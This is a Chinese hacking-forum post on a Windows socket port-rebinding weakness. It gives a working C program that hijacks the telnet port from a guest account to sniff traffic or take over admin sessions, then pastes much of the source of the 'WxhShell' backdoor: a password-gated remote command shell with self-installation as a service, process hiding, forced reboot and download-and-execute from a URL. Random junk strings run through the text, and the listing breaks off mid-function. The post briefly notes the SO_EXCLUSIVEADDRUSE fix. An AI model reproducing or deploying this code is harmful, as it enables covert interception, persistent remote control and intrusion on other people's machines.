社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 9220阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: Zoc0!84<z  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); @oad,=R&  
0nD/;\OU  
  saddr.sin_family = AF_INET; tlt*fH$ .  
13=.H5  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); ^w06<m  
:<#nTh_@\'  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @{pLk4E  
:$9tF >  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 2Q"K8=s  
1~QPG\cdIX  
  这意味着什么?意味着可以进行如下的攻击: .q3/_*  
wuJ4kW$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Iy3GE[  
7 ^mL_SMj  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) FtC^5{V+V  
r{%qf;  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 >u8gD6X  
{T Ug. %u  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  t3Y:}%M  
}I6vqG  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 R n*L  
f:.I0 ST  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 X/M4!L}\  
_OC<[A  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 *GN# r11d  
@[i4^  
  #include om-omo&,X=  
  #include H&}pkrH~  
  #include m<qJcZk  
  #include    =k:,qft2  
  DWORD WINAPI ClientThread(LPVOID lpParam);   R#8L\1l  
  int main() Y]u+\y~  
  { [bNx^VP*  
  WORD wVersionRequested; _M5|Y@XN-  
  DWORD ret; 3K/MvNI>  
  WSADATA wsaData; )M//l1  
  BOOL val; 1s@+;QUib  
  SOCKADDR_IN saddr; 3fJc 9|  
  SOCKADDR_IN scaddr; l/ ;  
  int err; "4,?uPi  
  SOCKET s; Y.ToIka{  
  SOCKET sc; 84pFc;<  
  int caddsize; 2oRg 2R}  
  HANDLE mt; .JiziFJ@mj  
  DWORD tid;   M6-&R=78K  
  wVersionRequested = MAKEWORD( 2, 2 ); x`IEU*z#  
  err = WSAStartup( wVersionRequested, &wsaData ); %O;bAC_M  
  if ( err != 0 ) { 4u47D$=  
  printf("error!WSAStartup failed!\n"); ["e3Ez  
  return -1; U\<?z Dw  
  } f\>M'{cV  
  saddr.sin_family = AF_INET; kO*$"w#X[p  
   "?I y(*^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 M8b;d}XL  
(<oy N7NT  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ?r2` Q  
  saddr.sin_port = htons(23); LRG6:&  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) &wE%<"aRAl  
  { fG(SNNl+D  
  printf("error!socket failed!\n"); TNh1hhJ$b  
  return -1; zXxT%ZcCj  
  } )fSOi| |C  
  val = TRUE; r|PB*`  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 |:<f-j7t~  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) zEyN)  
  { j578)!aJ  
  printf("error!setsockopt failed!\n"); {_Rr 6  
  return -1; s^uS1  
  } M |`U"vO  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; `LE6jp3,  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 //<nr\oP  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j*jo@N |  
}\:Nu Tf  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) &_|#.  
  { )vb*Ef  
  ret=GetLastError(); zZ323pq  
  printf("error!bind failed!\n"); YCM]VDx4u1  
  return -1; #c?j\Y9nz  
  } f-n1I^|  
  listen(s,2); 7.#F,Ue_0T  
  while(1) R1GEh&U{  
  { 4X |(5q?  
  caddsize = sizeof(scaddr); | Aw%zw1@  
  //接受连接请求  Qq;Foa  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); CZI66pDy  
  if(sc!=INVALID_SOCKET) %H&@^Tt a  
  { m~d]a$KQ5-  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ~`\?"s:  
  if(mt==NULL) =i*;VFc  
  { ]4]6Qki  
  printf("Thread Creat Failed!\n"); usCt#eZK  
  break; aV|hCN~  
  } .QJ5sgmh  
  } YLv'43PL  
  CloseHandle(mt); es&vMY  
  } Y+*0~xm4  
  closesocket(s); O-I[igNl  
  WSACleanup(); q):5JXql~  
  return 0; 9-DZU,`P  
  }   &Ao+X=qw  
  DWORD WINAPI ClientThread(LPVOID lpParam) ?ztkE62t  
  { /qGf 1MHD  
  SOCKET ss = (SOCKET)lpParam; \2"I;  
  SOCKET sc; JYd 'Jp8bP  
  unsigned char buf[4096]; q~ZNd3O  
  SOCKADDR_IN saddr; 78# v  
  long num; i?g5_HI  
  DWORD val; K&70{r  
  DWORD ret; LNpup`>`  
  //如果是隐藏端口应用的话,可以在此处加一些判断 #32"=MfQn  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   %<*g!y `  
  saddr.sin_family = AF_INET; HbA kZP  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); 0ANZAX5  
  saddr.sin_port = htons(23); P} SCF  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 72y0/FJ  
  { oxkoA  
  printf("error!socket failed!\n"); 1Y@Aixx  
  return -1; Qqvihd  
  } TQ*1L:X7M&  
  val = 100; V(6Z3g  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) /1Q(b  
  { \6<=$vD  
  ret = GetLastError(); jWl)cC  
  return -1; bc) ~k:  
  } )V6Hl@v  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) Id|L`  w  
  { Hx*;jpy(2  
  ret = GetLastError(); tEKmy7'#  
  return -1; }w<7.I  
  } S.m{eur!,E  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) CcFn.omA  
  { 3.W@ }   
  printf("error!socket connect failed!\n"); X+S9{X#Cm  
  closesocket(sc); O_ DtvjI'  
  closesocket(ss); C/kW0V7  
  return -1; "C19b:4H  
  } lfz2~Si5A  
  while(1) fb8g7H|  
  { I}6\Sv=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 4K\(xd&Q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 qA$*YIlK  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 cmg ^J  
  num = recv(ss,buf,4096,0); %$ Z7x\_  
  if(num>0) T' &I{L33Y  
  send(sc,buf,num,0);  @zz1hU  
  else if(num==0) r1L ViK  
  break; $!(pF  
  num = recv(sc,buf,4096,0); Jjv=u   
  if(num>0) M|qteo  
  send(ss,buf,num,0); H {k^S\K  
  else if(num==0) * %M3PTY\  
  break; ( ?{MEwHG  
  } xp72>*_9&  
  closesocket(ss); mfo1+owT  
  closesocket(sc); 0_"fJ~Y^J  
  return 0 ; NchXt6$i9  
  } :1^R9yWA4  
Y2SJ7  
(egzH?  
========================================================== $UCAhG$  
Mo @C9Y0  
下边附上一个代码,,WXhSHELL K7W6ZH9;  
`~;rblo;  
========================================================== 7`8Ik`lY  
BT"42#7_  
#include "stdafx.h" aKuSd3E@#  
 <**y !2  
#include <stdio.h> ~UjGSO)z}  
#include <string.h> ``e$AS  
#include <windows.h> nwaxz>;  
#include <winsock2.h> ]=";IN:SU  
#include <winsvc.h> q**G(}K  
#include <urlmon.h> D] ~MC  
_DNHc*  
#pragma comment (lib, "Ws2_32.lib") j;3[KLmuK%  
#pragma comment (lib, "urlmon.lib") :WL'cJ9a  
#x3ujJ  
#define MAX_USER   100 // 最大客户端连接数 mPP`xL?T  
#define BUF_SOCK   200 // sock buffer p>;_e(  
#define KEY_BUFF   255 // 输入 buffer `zXO_@C  
u[/m|z  
#define REBOOT     0   // 重启 q]N:Tpm9  
#define SHUTDOWN   1   // 关机 D{4YxR PX  
)!:Lzi  
#define DEF_PORT   5000 // 监听端口 lBFMwJU)  
q^L<X)  
#define REG_LEN     16   // 注册表键长度 p4i]7o@  
#define SVC_LEN     80   // NT服务名长度 16i "Yg!*  
J8)#PY[i4  
// 从dll定义API H;fxxu`cS  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); z0*_^MH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); }HYjA4o\A  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); wz.6du6-  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); eT8}  
H4!+q:<  
// wxhshell配置信息 /E5 5Pec  
struct WSCFG { ^:* 1d \  
  int ws_port;         // 监听端口 Z(_ZAB%+D  
  char ws_passstr[REG_LEN]; // 口令 *`Yv.=cd  
  int ws_autoins;       // 安装标记, 1=yes 0=no JEgx@};O  
  char ws_regname[REG_LEN]; // 注册表键名 Ox'/` Mppw  
  char ws_svcname[REG_LEN]; // 服务名 >P $;79<  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /<8N\_wh  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 OdY=z!Fls  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Vy,^)]  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ;~u{56  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" pBP.x#|  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 (%o2jroQ#  
0`A~HH}  
}; X2i}vjkY  
k`p74MWu  
// default Wxhshell configuration ]t*[%4  
struct WSCFG wscfg={DEF_PORT, $aPfGZ<i  
    "xuhuanlingzhe", -x4X O`b  
    1, @L:>!<  
    "Wxhshell", 01. &> Duw  
    "Wxhshell", a~!G%})'a  
            "WxhShell Service", zC:wNz@zK  
    "Wrsky Windows CmdShell Service", ^e>Wo7r  
    "Please Input Your Password: ", 4bEf  
  1, Z)xaJGbw  
  "http://www.wrsky.com/wxhshell.exe", ld7v3:M  
  "Wxhshell.exe" n?urE-_  
    }; -"[<ek  
A4?+T+#d  
// 消息定义模块 lP!;3iJ B  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; MqA`yvQm  
char *msg_ws_prompt="\n\r? for help\n\r#>"; aCxE5$~$  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (V%`k'N7f  
char *msg_ws_ext="\n\rExit."; FSb Hn{@  
char *msg_ws_end="\n\rQuit."; NwR}yb6  
char *msg_ws_boot="\n\rReboot..."; Z@%HvB7  
char *msg_ws_poff="\n\rShutdown..."; 9bq<GC'eX8  
char *msg_ws_down="\n\rSave to "; eD Z8w  
0W()lQ   
char *msg_ws_err="\n\rErr!"; Q;J`Q wkH  
char *msg_ws_ok="\n\rOK!"; 6q6FB  
iTg;7~1pY  
char ExeFile[MAX_PATH]; @b3#X@e}  
int nUser = 0; }Lw>I94e  
HANDLE handles[MAX_USER]; okFvn;  
int OsIsNt; T'aec]u  
@ (i!Y L  
SERVICE_STATUS       serviceStatus; H7k PM[  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; A?T<",bO  
FsGlJ   
// 函数声明 ^p/Ob'!  
int Install(void); !!nuAQ"E[  
int Uninstall(void); h<\_XJJ  
int DownloadFile(char *sURL, SOCKET wsh); H<G4O02i_  
int Boot(int flag); 3TZ*RPmFRm  
void HideProc(void); ,mL !(US  
int GetOsVer(void); k%op> &  
int Wxhshell(SOCKET wsl); v^7LctcVm  
void TalkWithClient(void *cs); !;!~n`  
int CmdShell(SOCKET sock); b2b75}_A  
int StartFromService(void); + EM_TTf4  
int StartWxhshell(LPSTR lpCmdLine); Y05P'Q  
}/,CbKi,+  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); *VkgQ`c  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); '2-oh  
OcSEo7W  
// 数据结构和表定义 Q!FLR>8  
SERVICE_TABLE_ENTRY DispatchTable[] = DK&h eVIoZ  
{ %&\jOq~  
{wscfg.ws_svcname, NTServiceMain}, Lh-`OmO0>F  
{NULL, NULL} Zf>^4_x3P  
}; (?b@b[D~4  
@i3bgx>_o  
// 自我安装 9r2IuS0  
int Install(void) $.489x+'Z  
{ *+b6B_u]  
  char svExeFile[MAX_PATH]; <p?&udqD  
  HKEY key;  X}6#II  
  strcpy(svExeFile,ExeFile); 8g >b  
[!VOw@uz  
// 如果是win9x系统,修改注册表设为自启动 U#o'H @  
if(!OsIsNt) { 6R29$D|HFO  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 7.+#zyF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 9=/N|m8.  
  RegCloseKey(key); Bz`yfl2  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kV Rn`n0  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); /+3a n9h  
  RegCloseKey(key); N6[i{;K@N{  
  return 0; 5b6s4ZyV  
    } ,s^<X85gp\  
  } 6dEyv99  
} -)y%~Zn  
else { ib0g3p-Lc  
'iLH `WE  
// 如果是NT以上系统,安装为系统服务 {hO`6mr&t  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); t=#Pya  
if (schSCManager!=0) @l UlY2  
{ 3v!~cC~cI  
  SC_HANDLE schService = CreateService (,xZGa  
  ( AP\ofLmq  
  schSCManager, v1.q$ f^(  
  wscfg.ws_svcname, vG2b:[W  
  wscfg.ws_svcdisp, <39!G7ny  
  SERVICE_ALL_ACCESS, lKEa)KF[  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Y#01o&f0n  
  SERVICE_AUTO_START, k,Zm GllQ]  
  SERVICE_ERROR_NORMAL, bO/*2oau  
  svExeFile, ,goBq3[%?  
  NULL, W:QwHZ2O  
  NULL, C+MSVc  
  NULL, p&K\]l}  
  NULL, /M OnNnV  
  NULL mi2o1"Jd$`  
  ); Gr(|Ra .  
  if (schService!=0) 3|Y!2b(:?  
  { ! qJI'+_  
  CloseServiceHandle(schService); e^$j5jV  
  CloseServiceHandle(schSCManager); H%z@h~s>  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); kYxS~Kd<  
  strcat(svExeFile,wscfg.ws_svcname); ER{3,0U  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { [ev-^[  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); y^FOsr  
  RegCloseKey(key); _hCJ|Rrln  
  return 0; 8Vt4HD08  
    } qSO*$1i  
  } 5QWNZJ&}d  
  CloseServiceHandle(schSCManager); ,dd WBwMK  
} 8Xm@r#Oy5  
} u=qPzmywt  
 c!uW}U_z  
return 1; chAan~r[*  
} (=T$_-Dj`}  
=J |sbY"]  
// 自我卸载 <5Mrp"C[i  
int Uninstall(void) }G1&]Wt_  
{ ;~sr$6  
  HKEY key; V_L[P9  
PtKTm\,JL0  
if(!OsIsNt) { Ws49ImCB  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wy4q[$.4v  
  RegDeleteValue(key,wscfg.ws_regname); zb2K;%Qs+f  
  RegCloseKey(key); g*]E>SQ=  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { a`Z{ xme =  
  RegDeleteValue(key,wscfg.ws_regname); J^I7BsZ  
  RegCloseKey(key); -rDz~M+  
  return 0; |tG+iF@4  
  } T0FZ7  
} wTpD1"_R  
} r7)@M%A  
else { nJVp.*S  
{(vOt'  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,{j4  
if (schSCManager!=0) Gz dgL"M[  
{ .T3=Eq&"W  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); SQKt}kDbM  
  if (schService!=0) =2oUZjA  
  { D&[Z;,CHMA  
  if(DeleteService(schService)!=0) { FpkXOj?*  
  CloseServiceHandle(schService); U7%28#@  
  CloseServiceHandle(schSCManager); EE%s<_k`  
  return 0; M g!ra"  
  } Y5jYmP<  
  CloseServiceHandle(schService); If}lJ6jZ  
  } V8'`nuC+  
  CloseServiceHandle(schSCManager); U4wpjHg  
} i;lE5  
} &jJckT  
[b5(XIGUN}  
return 1; t]TyXAr~  
} )DZTB  
1-$P0  
// 从指定url下载文件 Tj,2r]g`<  
int DownloadFile(char *sURL, SOCKET wsh) v'nHFC+p  
{ if@W ]%  
  HRESULT hr; Jqg3.2q  
char seps[]= "/"; aW@oE ~`  
char *token; PqhlXqX9  
char *file; VBx,iuaw  
char myURL[MAX_PATH]; 8t9aHla  
char myFILE[MAX_PATH]; A! ;meVUs  
MCAXt1sL&E  
strcpy(myURL,sURL); Wg1tip8s  
  token=strtok(myURL,seps); ${e&A^h  
  while(token!=NULL) ~R!gJTO9  
  { M1uP\Sa  
    file=token; /w~C~6z @!  
  token=strtok(NULL,seps); >i8~dEbB  
  } @Qo,p  
z]>9nv`b  
GetCurrentDirectory(MAX_PATH,myFILE); {mYx  
strcat(myFILE, "\\"); #'NY}6cb$  
strcat(myFILE, file); KF$%q((  
  send(wsh,myFILE,strlen(myFILE),0); R]=SWE}U  
send(wsh,"...",3,0); d[U1.SNL  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5<r)+?!n  
  if(hr==S_OK) a paIJ+^[  
return 0; \Ut S>4w\  
else l%bq2,-%  
return 1; ;xW{Ehq-h  
eG^z*`**  
} /'Bdq?!B&  
/\~W$.c  
// 系统电源模块 s?<!&Y  
int Boot(int flag) +UaO<L  
{ dP3VJ3+ %  
  HANDLE hToken; t~~r-V":  
  TOKEN_PRIVILEGES tkp; kGj]i@(PA4  
o*)@oU  
  if(OsIsNt) { drX4$Kdf]  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); &z0iLa4q)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); r!M#7FDs(  
    tkp.PrivilegeCount = 1; X)NWX9^;'  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; /'NUZ9  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); sbjtL,  
if(flag==REBOOT) { `]LODgk~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) h *waRD  
  return 0; a^*B5G1(&  
} `7>K1slQ}S  
else { ws().IZ  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) eU"mG3 __  
  return 0; G,/Gq+WX  
} eu=|t&FKk  
  } Fi k@hu  
  else { Q^q=!/qQ  
if(flag==REBOOT) { d'q;+ jnP  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) R]VTV7D  
  return 0; |3|wdzV  
} :28@J?jjO  
else { S `wE$so>  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) S r[IoF)  
  return 0; 9 G((wiE  
} z.A4x#>-  
} k2wBy'M .'  
=*[, *A  
return 1; 7ozYq_ $  
} TwwIt5_fN  
1+FYjh!2t  
// win9x进程隐藏模块 @p"NJx"  
void HideProc(void) hF9B?@n?B  
{ U!_sh<  
,^M]yr*~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NB3/A"}"02  
  if ( hKernel != NULL ) `lvh\[3^  
  { s V&`0N  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); &8juS,b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 78^Y;2 P]W  
    FreeLibrary(hKernel); 4=UI3 2v3  
  } w8U2y/:>  
<xC: Ant  
return; -D$3!ccX  
} F1/6&u9I  
4g S[D  
// 获取操作系统版本 Mf#2.TR  
int GetOsVer(void) a'm!M:w  
{ Age-AJ  
  OSVERSIONINFO winfo; ltP   
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); DwTi_8m;  
  GetVersionEx(&winfo); \v.HG] /u  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) _82<| NN:  
  return 1; D@2Ya/c  
  else ^CO#QnB @  
  return 0; ?TRW"%  
} mMga"I9  
MyK^i2eD  
// 客户端句柄模块 -Zttj/K  
int Wxhshell(SOCKET wsl) %{=4Fa(Jux  
{ b,z R5R^D;  
  SOCKET wsh; ;;D% l^m+  
  struct sockaddr_in client; 6_pDe  
  DWORD myID; +|)zwe  
Z<w,UvJa  
  while(nUser<MAX_USER) >_n:_  
{ K@y-)I2]  
  int nSize=sizeof(client); J,MT^B  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); gjO *h3`  
  if(wsh==INVALID_SOCKET) return 1; wYC9 ~ms-  
r .{rNR  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u;$I{b@M]  
if(handles[nUser]==0) e1:u1(".  
  closesocket(wsh); a"MTQFm'  
else Cl%V^xTb  
  nUser++; yIM.j;5:~5  
  } yl[2et  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); b;SFI^  
YL; SxLY  
  return 0; ,ZLG7e  
} /IrKpmbq  
K lPm=  
// 关闭 socket U$MWsDn   
void CloseIt(SOCKET wsh) ?< -wHj)  
{ Y=PzN3  
closesocket(wsh); y-D>xV)n  
nUser--; L; @a E[#z  
ExitThread(0); _a?wf!4>P  
} Q1]V|S;)X  
]Fb8.q5(Y  
// 客户端请求句柄 s$Ic DuBu  
void TalkWithClient(void *cs) ajf_)G5X P  
{ *'kC8 ZR5  
Ky =(urAd  
  SOCKET wsh=(SOCKET)cs; V6A5(-%`y  
  char pwd[SVC_LEN]; h[vAU 9f)  
  char cmd[KEY_BUFF]; ke{DFq h  
char chr[1]; $Vd?K@W[h  
int i,j; }M;sz  
X`8Y[Vb3}  
  while (nUser < MAX_USER) { pT|./ Fe  
H&"_}  
if(wscfg.ws_passstr) { (or =f`  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); qpH j4  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); /&y,vkZTT  
  //ZeroMemory(pwd,KEY_BUFF); @^w!% ?J  
      i=0; Pcd i  
  while(i<SVC_LEN) { >b[4  
KFCQYdI`d  
  // 设置超时 wWp?HDl"M  
  fd_set FdRead; RlG'|xaT  
  struct timeval TimeOut; |:`?A3^m#  
  FD_ZERO(&FdRead); bcGn8  
  FD_SET(wsh,&FdRead); #c8"  
  TimeOut.tv_sec=8; C?_t8G./_  
  TimeOut.tv_usec=0; &utS\-;G  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Pl`Bd0  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); W$x K^}  
n^g-`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); d %F/,c-=  
  pwd=chr[0]; [ni-UNTv  
  if(chr[0]==0xd || chr[0]==0xa) { @ y&h4^)z  
  pwd=0; q[T_*X3o  
  break; EbHUGCMO  
  } 7`j|tb-  
  i++; 0B#rqTEKu  
    }  mP`,I"u  
#t5JUi%in*  
  // 如果是非法用户,关闭 socket >d1aE)?  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); _dH[STT  
} |\yDgs%EGy  
7z0;FW3>9  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); \`p|,j  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); X"]mR7k  
'6Rs0__  
while(1) { URj% J/jD  
hfP(N_""S  
  ZeroMemory(cmd,KEY_BUFF); VH$\ a~|  
`UzCq06rJ1  
      // 自动支持客户端 telnet标准   M[&.kH  
  j=0; TLR Lng  
  while(j<KEY_BUFF) { ul]m>W  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); $)WH^Ir~  
  cmd[j]=chr[0]; 'PxL^  
  if(chr[0]==0xa || chr[0]==0xd) { d@`-!"  
  cmd[j]=0; qrORP3D@  
  break; }VJ hw*s  
  } Ezo" f  
  j++; kG~ivB}x  
    } "X!_37kQ  
-&HoR!af  
  // 下载文件 "1pZzad  
  if(strstr(cmd,"http://")) { ZFd{q)qe   
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); `rRg(fCN!M  
  if(DownloadFile(cmd,wsh)) _YD<Q@  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); +eH=;8  
  else (\AszLW  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); iIC9rso"Q1  
  } U iPVZ@?  
  else { ).@)t:uNa  
!*$'fn'bAA  
    switch(cmd[0]) { |x}&wFV  
  )gm\e?^   
  // 帮助 ek_i{'hFd  
  case '?': { +q>C}9s3  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); &  t @  
    break; rUJSzLy  
  } ygu?w7  
  // 安装 Av[|.~g  
  case 'i': { LO Yyj?^7  
    if(Install()) GO&RR}  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); xf3/<x!B  
    else jDkc~Wwa  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .Jnp{Tet  
    break; 3k|~tVM  
    } PhaQ3%  
  // 卸载 %%H. &*i,  
  case 'r': { itvy[b-*  
    if(Uninstall()) kk>0XPk  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ".7 KEnx  
    else <=LsloI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8~XI7g'5x  
    break; |cBF-KNZ  
    } ;L/T}!Dx  
  // 显示 wxhshell 所在路径 /E1c#@  
  case 'p': { v \L Ip  
    char svExeFile[MAX_PATH]; #v]aT  ]}  
    strcpy(svExeFile,"\n\r"); Ts?>"@  
      strcat(svExeFile,ExeFile); 5w-G]b  
        send(wsh,svExeFile,strlen(svExeFile),0); EJiF_  
    break; U#^:f7-$.  
    } hgMnO J  
  // 重启 .<|4PG  
  case 'b': { Y$DgL h  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *1 eTf  
    if(Boot(REBOOT)) '3kL=(  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); P^W$qy|  
    else { x[h<3V"  
    closesocket(wsh); ?}>B4Z)  
    ExitThread(0); 0yEyt7 ~@  
